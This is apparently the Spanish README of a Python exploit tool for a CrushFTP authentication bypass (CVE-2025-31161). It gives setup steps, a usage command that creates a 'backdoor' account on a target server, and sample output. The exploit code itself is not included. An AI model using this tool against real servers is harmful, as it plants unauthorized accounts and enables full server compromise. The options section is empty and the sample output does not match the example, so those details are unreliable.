CVE-2025-31161 - Exploit de omisión de autenticación en creación de usuario de CrushFTP

📌 Descripción

Este exploit de Python ataca servidores CrushFTP vulnerables a CVE-2025-31161. La vulnerabilidad permite la creación de cuentas de usuario no autenticadas mediante el envío de un payload XML manipulado a la WebInterface, lo que potencialmente resulta en un compromiso completo del servidor.

⚠️ Descargo de responsabilidad

Esta herramienta está destinada únicamente a pruebas de seguridad educativas y autorizadas.
El uso no autorizado contra sistemas que no poseas o para los que no tengas permiso explícito es ilegal y no ético.

🧰 Requisitos

• Python 3
• pip3
• Módulos de Python:
  • requests
  • colorama

✅ Instalar Python3 y pip3

Debian/Ubuntu:

sudo apt update
sudo apt install python3 python3-pip -y

CentOS/RHEL:

sudo yum install python3 python3-pip -y

macOS (con Homebrew):

brew install python3

✅ Instalar dependencias de Python

pip3 install requests colorama

🔧 Uso

python3 CVE-2025-31161.py --target_host <TARGET_IP> [--port <PORT>] [--target_user <ADMIN>] [--new_user <USERNAME>] [--password <PASSWORD>]

🔍 Ejemplo

python3 CVE-2025-31161.py --target_host 192.168.1.100 --new_user backdoor --password P@ssw0rd!

🧪 Opciones de línea de comandos

🖥️ Salida de ejemplo

[+] Preparing Payloads
  [-] Warming up the target...
  [-] Target is up and running
[+] Sending Account Create Request
  [!] User created successfully!

[+] Exploit Complete! You can now login with:
   [*] Username: AuthBypassAccount
   [*] Password: CorrectHorseBatteryStaple

👨‍💻 Autor

Gaurav Bhattacharjee (G4UR4V007)

📄 Licencia

Este proyecto está licenciado bajo la Licencia MIT.